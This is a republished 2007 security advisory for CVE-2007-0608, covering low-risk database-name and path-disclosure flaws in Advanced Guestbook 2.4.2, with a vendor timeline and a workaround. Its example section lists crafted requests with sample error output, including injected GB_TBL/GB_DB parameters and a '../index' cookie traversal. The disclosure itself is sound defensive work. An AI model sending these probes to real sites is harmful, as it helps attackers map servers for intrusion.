Advanced Guestbook version 2.4.2 Multiple Error Information Leak Vulnerabilities
Current status
This advisory describes a vulnerability from 2007. It is not in the CISA Known Exploited Vulnerabilities catalog and there is no active remediation deadline. The page is kept online because other security databases link to it.
CVE reference CVE-2007-0608
In KEV catalog no
Affected software Advanced Guestbook version 2.4.2
Captured from netvigilance.com
Original document
Reproduced as it was published, including the advisory numbering, scoring and the disclosure timeline used at the time.
Description: Advanced Guestbook is a PHP-based guestbook script. It includes many useful features such as preview, templates, e-mail notification, picture upload, page spanning , html tags handling, smiles, advanced guestbook codes and language support. The admin script lets you modify, view, and delete messages. Requires PHP4 and MySQL. Security problems in the product allow attackers to gather the true path of the server-side script and get the database name. External References: Mitre CVE: CVE-2007-0608 NVD NIST: CVE-2007-0608 OSVDB: 33876 Summary: Advanced Guestbook is a PHP-based guestbook with admin interface. Security problems in the product allows attackers to gather the true path of the server-side script and get the database name. This vulnerabilities can be exploited only when PHP register_globals is On. Release Date: May 07 2007 Severity: Risk: Low CVSS Metrics: Access Vector: Remote Access Complexity: High Authentication: not-required Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Impact Bias: Normal CVSS Base Score: 1.86 Target Distribution on Internet: Low Exploitability: Functional Exploit Remediation Level: Workaround Report Confidence: Uncorroborated Vulnerability Impact: Attack Host Impact: Information disclosure, path disclosure. SecureScout Testcase ID: TC 17947 Vulnerable Systems: Advanced Guestbook version 2.4.2 Vulnerability Type: Program flaws - The product scripts have flaws which lead to Warnings or even Fatal Errors. Also there exist a possibility to disclose the database name in the error information messages. Vendor: Chi Kien Uong Vendor Status: Contact with the Vendor was established but draft of the security advisory wasn't provided because the Vendor stopped responding to our emails on 9 March 2007. There is no official fix at the release of this Security Advisory Workaround: Set PHP register_globals to Off. Disable warning messages: modify in the php.ini file following line: display_errors = Off. Or modify .htaccess file (this will work only for the apache servers). Example: Error Information Leak 1: Database Name Disclosure REQUEST: http://[TARGET]/[GUETBOOK-FOLDER]/lang/codes-english.php?GB_TBL=123 REPLY: Error Number: 1146 Table '[DATABASE NAME].b' doesn't exist Date : Thu, January 4, 2007 13:40:11 IP : 212.98.173.35 Browser : Opera/9.01 (Windows NT 5.0; U; ru) Referer : PHP Version : 4.4.4 OS : Linux Server : Apache/2.2.3 Server Name : proxy2.de Error Information Leak 2: Database Name Disclosure REQUEST: http://[TARGET]/[GUETBOOK-FOLDER]/image.php?id=1&GB_TBL=123 REPLY: Query Error MySQL Error : Query Error Error Number: 1146 Table '[DISCLOSURE RESULT - DATABASE NAME].b' doesn't exist Date : Mon, January 8, 2007 16:58:56 IP : 212.98.173.35 Browser : Opera/9.01 (Windows NT 5.0; U; ru) Referer : PHP Version : 4.4.4 OS : Linux Server : Apache/2.2.3 Server Name : proxy2.de Error Information Leak 3: Path Disclosure Vulnerability REQUEST: At first set in the COOKIES variable lang = "../index" for the target web-site http://[TARGET]/[guestbook-directory]/index.php?GB_DB=123 REPLY: Warning: mysql_connect() [function.mysql-connect]: Unknown MySQL server host '-' (1) in [FULL PATH TO FILE]/mysql.class.php on line 30 Connection Error MySQL Error : Connection Error Error Number: 2005 Unknown MySQL server host '-' (1) Date : Thu, January 4, 2007 13:42:18 IP : 212.98.173.35 Browser : Opera/9.01 (Windows NT 5.0; U; ru) Referer : PHP Version : 4.4.4 OS : Linux Server : Apache/2.2.3 Server Name : ServerName.de Error Information Leak 4: Path Disclosure Vulnerability REQUEST: http://[TARGET]/[guestbook-directory]/index.php REPLY: Notice: Undefined variable: DB_CLASS in [FULL PATH TO FILE] s\gb\index.php on line 4 Warning: main([FULL PATH TO FILE] s\gb/lib/) [function.main ]: failed to open stream: Permission denied in [FULL PATH TO FILE] s\gb\index.php on line 4 Fatal error: main() [function.require]: Failed opening required '[FULL PATH TO FILE] s\gb/lib/' (include_path='.;C:\php5\pear') in [FULL PATH TO FILE] s\gb\index.php on line 4 Credits: Jesper Jurcenoks Co-founder netVigilance, Inc www.netvigilance.com
Why this page still exists
Advisories published between 2004 and 2015 are referenced by vulnerability databases, academic papers and mailing list archives. Removing them would break those references, so every advisory keeps its original address and its original text. Nothing on this page has been rewritten to match current practice.